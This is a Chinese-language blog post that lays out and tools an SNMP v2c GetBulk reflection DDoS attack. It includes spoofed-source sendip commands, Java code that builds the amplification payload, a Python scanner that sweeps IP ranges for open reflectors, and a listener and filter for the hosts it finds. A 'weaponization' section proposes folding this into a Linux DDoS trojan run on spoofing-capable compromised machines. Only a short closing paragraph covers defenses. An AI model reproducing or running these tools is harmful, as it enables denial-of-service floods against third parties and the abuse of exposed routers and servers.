基於snmp的反射攻擊的理論及其實現
0x00前言
當時dns反射攻擊爆發的時候,我就開始研究snmp的反射攻擊(實際可以達到20倍的放大效果),在2013年夏天就已經理論研究完成,後來實現工具化。最後還差規模化(武器化)。其實,是國外在2013年初,就有隻言片語敘述snmp的反射攻擊,但是沒有一篇完整的文章,最近在微博上看到很多朋友轉載國外的資訊,我覺得,如果再不把自己所研究的放出來刷刷存在感,讓我這個rank9的人活不下去了。
0x01背景
羅嗦了這麼多,進入正題。
首先反射攻擊的基礎是向有缺陷的目標傳送精心構造的偽造源ip地址的udp包來實現。第二,需要主機和缺陷主機之間有大小不對等的資訊交換。一般滿足這兩個條件就可以來實現反射攻擊。
0x02理論
Snmp就不過多介紹了,大家可以百度。Snmp有3個版本,這裡攻擊最理想的是2c版本,而恰恰2c版本也是應用最廣的。
在bt5下可以用snmpwalk或snmpget命令來和snmp主機進行交換資料。
Snmpwalk –c public –v2c IP oid
這裡oid是獲取snmp具體資訊內容的一個標識,snmp裡面存的資訊是一個樹狀的資訊結構。
其實snmpwalk是獲取一條oid資訊,但是這個oid裡面附帶了下一個樹節點的oid號,然後snmp會透過 snmpget繼續訪問下一個oid號(在getnext欄位裡面),來執行一個類似於迴圈的行為,但是snmpget的協議大家也看到了,只能獲取到一條資訊,79的資訊長度,只能獲得279的反饋,這樣實現攻擊的放大倍數是不給力的。
關鍵點來了,根據rfc1441-rfc1452文件說明,snmp第二版裡面引入了getbulk來取代反覆getnext,用來更好的在單個請求裡面獲得大量的管理資料。相對應的bt5下還有個snmpbulkget命令
snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid
對應就是獲取當前oid後面的70個團體字,這樣如果你用snmpwalk跑一個1.3.6的團體字會看到很多資訊,而你用bulkget這個一次就可以收到一個包裡面包含70條資訊的資料包,如圖。
這裡看到資料包的length大家就會明白了,就是利用這種方式,來獲得反射攻擊的效果。
這裡大家會有個疑問。一個snmp裡面會包含n多的資訊(上千條肯定有了)為什麼這裡只用70條,用更多的會返回更多的資訊,獲得更大的倍數。當然我也想,這麼做,可是snmp這協議不像ntp協議直接給你把資料分包返回,而是透過一個包裡的不同欄位返回多個資訊的,所以這裡面就會受到網路鏈路上的mtu這個值的影響,1500這個硬傷是不能越過去的。理論上已經實現了資訊不對等的互動了,那麼下面就是偽造源ip發udp包的環節了。
此處我用的是sendip這個工具,安裝很簡單http://www.earth.li/projectpurple/progs/sendip.html
下載原始碼之後直接在linux下編譯安裝,這其中可能會遇到編譯問題,請參考這裡http://blog.csdn.net/figo1986/article/details/7336131
下面看下我用的命令
sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP -d0x123456789
這裡是使用ipv4的協議傳送udp包,src_IP 源ip, dst_ip 目的ip,-us udp源埠,-ud udp目的埠,這裡snmp預設埠是161,源埠自己隨便填,最後部分是資料部分,其實可以直接輸入明文的,但是snmp的pdu編碼是非常蛋疼的,所以我使用了-d 16進位制的形式。
下面是效果,這個包就發到本地吧,這裡的源地址就是ddos的反射攻擊的被攻擊者的地址。
這裡看到了效果,為下一步工具化進行了鋪墊
最後這個圖是虛擬機器環境搭的,實現反射攻擊的整體圖
0x03工具化
首先要解決snmp資料包pdu部分的蛋疼的編碼部分,snmp的資料部分是符合基本編碼規則(ber)的這裡有三篇文章,大家可以完全讀懂ber編碼和snmp的關係。
http://blog.csdn.net/shanzhizi/article/details/11574849
http://yuanmuqiuyu2000.blog.sohu.com/72641116.html
http://blog.chinaunix.net/uid-23069658-id-3251045.html
對於這個蛋疼的編碼,我寫了個java程式來生成pdu,裡面有註釋,大家很好理解的。
#!java
import java.io.UnsupportedEncodingException;
public class SnmpPDUber {
public static String sumlen(String s){
int c=0;
String r="";
String r2="";
s=qukongge(s);
s=s.replaceAll(" ","+");
r=s.replaceAll("\\+","");
//System.out.println(s);
c=r.length()/2;
r2=Integer.toHexString(c); //十進位制轉換成16進位制返回
return subStr(r2);
}
public static String randomtohex(int i) //產生 i 組 16進位制 隨機數
{
String s="";
int k;
for(int j=0;j<i;j++){
k=(int)(1+Math.random()*(254-1+1));
s=s+Integer.toHexString(k)+" ";
}
return s;
}
public static String subStr(String s) // (雙位) 0變成00
{
if(s.length()%2==1){
s="0"+s;
}
return s;
}
public static String qukongge(String s){return s.replaceAll(" ","");} //去除空格
public static String toHexString(String s)
{
String str="";
for (int i=0;i<s.length();i++)
{
int ch = (int)s.charAt(i);
String s4 = Integer.toHexString(ch);
str = str +" "+ s4;
}
return str;
}
public static void main(String args[]){
// tag+len+values
String tag="30";//tag標識域 SEQUENCE型別
String len="00";
String values="";//values值域
String versiontag="02";//version tag標識域 INTEGER型別
String versionlen="01";
String versionvalues="01";//version values 00 1版本 01 2c版本
String Communitytag="04";//Community tag標識域 string型別
String Communitylen="00";//Community len長度域
String Communityvalues=args[0];//Community 值域public
System.out.println(Communityvalues);
Communityvalues=toHexString(Communityvalues);
System.out.println(Communityvalues);
String pdutag="a5";//pdu tag 標識域 a5 是 getbulkrequest
String pdulen="00";//pdu len長度域
String pduvalue="";//pdu 值域
String requestid_tag="02";//requestid tag 標識域 INTEGER型別
String requestid_len="04";//requestid len 長度域
String requestid_values="";//8位 16進位制 隨機 ID
String non_repeaters_tag="02";// getbulk 開始段 標識域
String non_repeaters_len="01";
String non_repeaters_values="00";//16進位制0
String max_repeaters_tag="02";// getbulk 迴圈段 標識域
String max_repeaters_len="01";
String max_repeaters_values="64";// 16進位制100
String Variable_tag="30";
String Variable_len="00";
String Variable_value="";
String Item_tag="30";
String Item_len="00";
String Item_values="";
String Object_tag="06";
String Object_len="00";
String Object_values="2b 06 01 02 01";//1.3.6.1.2.1
String value_tag="05";//no error 標識域
String value_len="00";
/*
tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+
non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]
*/
String tmp="";
int j=0;
tmp=value_tag+" "+value_len;
Object_len=sumlen(Object_values);
Item_values=Object_tag+" "+Object_len+" "+Object_values+" "+tmp;
Item_len=sumlen(Item_values);
Variable_value=Item_tag+" "+Item_len+" "+Item_values;
Variable_len=sumlen(Variable_value);
tmp=Variable_tag+" "+Variable_len+" "+Variable_value;
requestid_values=randomtohex(4); //報文隨機id後面自帶空格,所以下面字串拼接時候不需要帶空格
pduvalue=requestid_tag+" "+requestid_len+" "+requestid_values+non_repeaters_tag+" "+non_repeaters_len+" "+non_repeaters_values+" "+max_repeaters_tag+" "+max_repeaters_len+" "+max_repeaters_values+" "+tmp;
pdulen=sumlen(pduvalue);
tmp=pdutag+" "+pdulen+" "+pduvalue;
Communitylen=sumlen(Communityvalues);
values=versiontag+" "+versionlen+" "+versionvalues+" "+Communitytag+" "+Communitylen+" "+Communityvalues+" "+tmp;
len=sumlen(values);
tmp=tag+" "+len+" "+values;
System.out.println(tmp);
System.out.println("0x"+qukongge(tmp));
/*sendip -v -p ipv4 -is 192.168.1.101 -id 192.168.1.102 -p udp -us 8000 -ud 161 192.168.1.102 -d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/
}
}
注意:getbulk的迴圈欄位就是對應 snmpbulkget 裡面的 –Cr 標識位。
第二為了有一定數量的能進行反射的主機,需要一個給力的掃描器,這裡會有人想到用zmap來掃描,但是要知道, udp的掃描可不像tcp那種你發請求連線就肯定會有返回連線的,實測有很多udp程式只要你發的資料不符合他接收的格式時,他是無任何反應和回覆的,就和這個ip沒開相關埠是一樣的效果,snmp也是符合這種情況的,所以需要自己在掃描指定ip的時候傳送和正常snmp請求的包一樣的資料包,來期盼正常的返回,來證明這個ip是否可以用來反射攻擊。不知道大家住沒注意到zmap是在不久之前才推出了snmp的掃描模組,這個模組我用過,不是太給力。下面是我用python寫的一個迴圈呼叫sendip發包的程式,來掃描ip段的,裡面的pdu是用剛才java編碼程式生成出來的。發出的包用一個自寫的java程式監聽埠,如果有返回資訊,就把返回的ip地址輸出到檔案。
python 3.4版本的
#!python
import os
import time
from pip.backwardcompat import raw_input
__author__ = 'qwe'
class ipScan(object):
def __init__(self, begin, end):
self.begin = begin
self.end = end
def traverseIP(self):
begin_ip = []
end_ip = []
begin = self.begin.split(".")
end = self.end.split(".")
#print(begin,end)
for m in begin:
begin_ip.append(int(m))
for n in end:
end_ip.append(int(n))
a1 = begin_ip[1]
b1 = end_ip[1]
a2 = begin_ip[2]
b2 = end_ip[2]
a3 = begin_ip[3]
b3 = end_ip[3]
print(a1,b1,a2,b2,a3,b3)
for o in range(a1,b1+1):
p=1
q=1
if(o==a1):
p=a2
else:
p=1
if(o==b1):
q=b2
else:
q=254
for m in range(a2, b2 + 1):
i = 1
j = 1
if (m == a2 ):
i = a3
else:
i = 1
if (m == b2):
j = b3
else:
j = 254
for n in range(i, j + 1):
ipstr=(str(begin_ip[0]) + "." + str(o) + "." + str(m) + "." + str(n))
sendip='sendip -p ipv4 -is 192.168.0.108 -id '+ipstr+' -p udp -us 8450 -ud 161 '+ipstr+' -d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'
print(sendip)
os.system(sendip)
time.sleep(0.1)
begin = raw_input("enter begin ip addr: ")
end = raw_input("enter end ip addr: ")
#print (begin,end)
a = ipScan(begin, end)
a.traverseIP()
java監聽程式
#!java
/**
* Created with IntelliJ IDEA.
* User: Clevo
* Date: 14-3-11
* Time: 下午10:09
* To change this template use File | Settings | File Templates.
*/
import org.bouncycastle.asn1.ASN1InputStream;
import org.bouncycastle.asn1.ASN1Primitive;
import org.bouncycastle.asn1.util.ASN1Dump;
import java.io.ByteArrayInputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.net.*;
public class udpListen {
public static void main(String[] args) {
printReceiveInfomationFromPort(8000);
}
static void printReceiveInfomationFromPort(int port) {
new Thread(new MonitorPortRunnable(port)).start();
}
}
class MonitorPortRunnable implements Runnable {
byte buf[] = new byte[1024];
DatagramSocket ds = null;
DatagramPacket dp = null;
int localReceivePort ;
public MonitorPortRunnable(int localReceivePort) {
this.localReceivePort = localReceivePort;
}
public static void writefile2(String fileName, String content) {
try {
// 開啟一個寫檔案器,建構函式中的第二個引數true表示以追加形式寫檔案
FileWriter writer = new FileWriter(fileName, true);
writer.write(content);
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public void run() {
dp = new DatagramPacket(buf, 0, 1024);
try {
ds = new DatagramSocket(localReceivePort);
} catch (SocketException e1) {
//prompt("本地接收埠已被使用");
System.exit(0);
}
while (true) {
try {
ds.receive(dp);
//System.out.println("資訊來自:" + this.localReceivePort);
} catch (IOException e) {
ds.close();
e.printStackTrace();
}
byte[] c=dp.getData();
int c_len=dp.getLength();
String receiveMessage = new String(c, 0, c_len);
String receiveAddr=new String(dp.getAddress().toString());
//System.out.println(receiveMessage);//暫時列印到控制檯,一般輸出到檔案
System.out.println(receiveAddr);
writefile2("result.txt",receiveAddr+"\r\n");
}
}
}
最後還有一個java寫的結果過濾,其實就是一個snmp的資訊獲取程式,來篩選可利用的主機或者裝置,大家可以增加更多的功能,例如看出口的速度等。
#!java
import java.io.*;
import java.util.Vector;
import org.snmp4j.CommunityTarget;
import org.snmp4j.PDU;
import org.snmp4j.Snmp;
import org.snmp4j.event.ResponseEvent;
import org.snmp4j.mp.SnmpConstants;
import org.snmp4j.smi.OID;
import org.snmp4j.smi.OctetString;
import org.snmp4j.smi.UdpAddress;
import org.snmp4j.smi.VariableBinding;
import org.snmp4j.transport.DefaultUdpTransportMapping;
public class SnmpDATAget {
public static void main(String[] args) throws IOException, InterruptedException {
Snmp snmp = new Snmp(new DefaultUdpTransportMapping());
snmp.listen();
//args[0]="public";
//args[1]="ip.txt";
//args[2]="oid.txt";
CommunityTarget target = new CommunityTarget();
target.setCommunity(new OctetString(args[0]));
target.setVersion(SnmpConstants.version2c);
target.setTimeout(3000); //3s
target.setRetries(1); //重試次數
try {
//String encoding="GBK";
String encoding="UTF-8";
File file=new File(args[1]);
if(file.isFile() && file.exists()){ //判斷檔案是否存在
InputStreamReader read = new InputStreamReader(
new FileInputStream(file),encoding);//考慮到編碼格式
BufferedReader bufferedReader = new BufferedReader(read);
String lineTxt = null;
while((lineTxt = bufferedReader.readLine()) != null){
System.out.print(lineTxt + "@");
target.setAddress(new UdpAddress(lineTxt+"/161"));
sendRequest(snmp, createGetPdu(args[2]), target);
}
read.close();
}else{
System.out.println("找不到指定的檔案");
}
} catch (Exception e) {
System.out.println("讀取檔案內容出錯");
e.printStackTrace();
}
}
private static PDU createGetPdu(String path) {
PDU pdu = new PDU();
pdu.setType(PDU.GET);
try {
//String encoding="GBK";
String encoding="UTF-8";
File file=new File(path);
if(file.isFile() && file.exists()){ //判斷檔案是否存在
InputStreamReader read = new InputStreamReader(
new FileInputStream(file),encoding);//考慮到編碼格式
BufferedReader bufferedReader = new BufferedReader(read);
String lineTxt = null;
while((lineTxt = bufferedReader.readLine()) != null){
pdu.add(new VariableBinding(new OID(lineTxt))); //sysName
//System.out.println(lineTxt);
}
read.close();
}else{
System.out.println("找不到指定的檔案"+path);
}
} catch (Exception e) {
System.out.println("讀取檔案內容出錯");
e.printStackTrace();
}
/*
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0")));
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.2.0")));
pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.3.0")));
*/
return pdu;
}
private static void sendRequest(Snmp snmp, PDU pdu, CommunityTarget target)
throws IOException {
ResponseEvent responseEvent = snmp.send(pdu, target);
PDU response = responseEvent.getResponse();
if (response == null) {
System.out.println("TimeOut...");
} else {
if (response.getErrorStatus() == PDU.noError) {
Vector<? extends VariableBinding> vbs = response.getVariableBindings();
for (VariableBinding vb : vbs) {
System.out.println(vb + " ," + vb.getVariable().getSyntaxString());
}
} else {
System.out.println("Error:" + response.getErrorStatusText());
}
}
}
}
0x04武器化
這裡面sendip可以作為一個模組整合到linux下面的ddos馬裡面。
好吧讓大家失望了,從上面的各種雜牌程式大家不難看出,我是一個不會寫程式的人,所以ddos的馬部分默默地忽略掉吧,如果有大神會寫,我們可以共同研究。
0x05侷限性,防禦辦法和解決辦法
第一,需要發包的肉雞是屬於純外網ip地址,因為一般經過路由或者特殊設定(例如設定:忽略從lan口來的源ip地址不屬於本子網的資料包)的三層交換時,此偽造包就會被過濾掉,從而失去效果。解決辦法就是找那種可以發偽造包的肉雞,其實還是很多的,簡單點說nat形式為0的,基本都能發。這種肉雞國外還是不少的。
第二,是混世魔王給我提出來的,能進行反射的主機的數量。這個還是很多的,因為不光有些有需要的linux開snmp,其實linux開snmp的基本都是內網的機器,用來進行效能監控用,更多的是網路上的裝置,交換,路由,防火牆等,這些裝置從小到大都會有開snmp的,他們所屬的頻寬大小也會有所不同,百兆千兆甚至萬兆乙太網口的裝置都是會出現的。所以這方面能反射的主機數量不用擔心。在上面工具化裡面的掃描工具實踐一下就可以看出來。
第三,防禦辦法,開snmp的主機儘量不要暴露在外網,還可以用改 預設密碼來限制訪問,或者改預設161埠。或者禁止響應bulkget的這種包,僅僅響應get方式獲取
歡迎各位朋友來指正問題。
相關文章
- 基於TCP反射DDoS攻擊分析2018-06-06TCP反射
- 淺談基於 NTP 的反射和放大攻擊2020-08-19反射
- golang 防SQL隱碼攻擊 基於反射、TAG標記實現的不定引數檢查器2018-07-09GolangSQL反射
- 基於Kali的一次DDos攻擊實踐2022-02-24
- 基於W5500的嵌入式SNMP代理端實現2015-04-01
- HTTPS 理論基礎及其在 Android 中的最佳實踐2016-07-13HTTPAndroid
- HTTPS理論基礎及其在Android中的最佳實踐2016-06-09HTTPAndroid
- DHDiscover反射攻擊:可將攻擊放大近200倍2020-11-05反射
- TFTP反射放大攻擊淺析2020-08-19FTP反射
- 基於並查集的六度分隔理論的驗證與實現2021-01-22並查集
- 反射型 DDoS 攻擊的原理和防範措施2018-04-20反射
- CSRF 攻擊 及其 Laravel 解決2020-04-26Laravel
- 一文詳解基於指令碼的攻擊2020-09-04指令碼
- 研究人員發現:基於文字的AI模型容易受到改述攻擊2019-04-03AI模型
- 注意——受Ripple20影響的Digi裝置可被用於反射攻擊2020-07-14反射
- 前端實現csrf防止攻擊2024-10-24前端
- NTP反射型DDos攻擊FAQ/補遺2020-08-19反射
- 綠盟科技劉文懋RSAC主題演講:物聯網中基於UDP的DDoS新型反射攻擊研究2021-05-20UDP反射
- 如何處理ARP的攻擊技巧2016-11-22
- 看好你的門-XSS攻擊(2)-利用反射型XSS漏洞 進行鍼對性攻擊2015-03-16反射
- 基於BIGINT溢位錯誤的SQL隱碼攻擊2020-08-19SQL
- 【技術向】基於工控場景的DNS隧道攻擊方案2021-04-01DNS
- 關於實現論壇的回覆評論2021-10-19
- DDOS攻擊原理,種類及其防禦2019-01-24
- 詳解SQL隱碼攻擊的原理及其防範措施2009-03-27SQL
- 《深度學習入門:基於Python的理論與實現》 Deep Learning from Scratch2019-12-17深度學習Python
- 列舉單例模式如何防止反射攻擊2014-09-28單例模式反射
- 應對UDP反射放大攻擊的五種常用防護思路2020-08-11UDP反射
- TARA攻擊樹分析方法論2022-03-21
- 一次烏龍的SSH攻擊處理2018-03-26
- 【路徑規劃】基於蟻群的多無人機攻擊排程2020-11-08無人機
- Java 理論與實踐: 關於異常的爭論2007-08-24Java
- 綜述論文:對抗攻擊的12種攻擊方法和15種防禦方法2018-03-05
- Gitment:一款基於 Github 的 Issues 實現的評論外掛2017-11-01Github
- SNMP用VC++6.0實現的方法 (轉)2007-08-15C++
- 很好,WS-Discovery反射攻擊已經成功引起我們的注意2019-10-17反射
- 【格物獵蹤】關於OpenVPN反射攻擊,你還需要知道這些!2020-08-17反射
- 從TCP協議的原理論rst復位攻擊2020-11-22TCP協議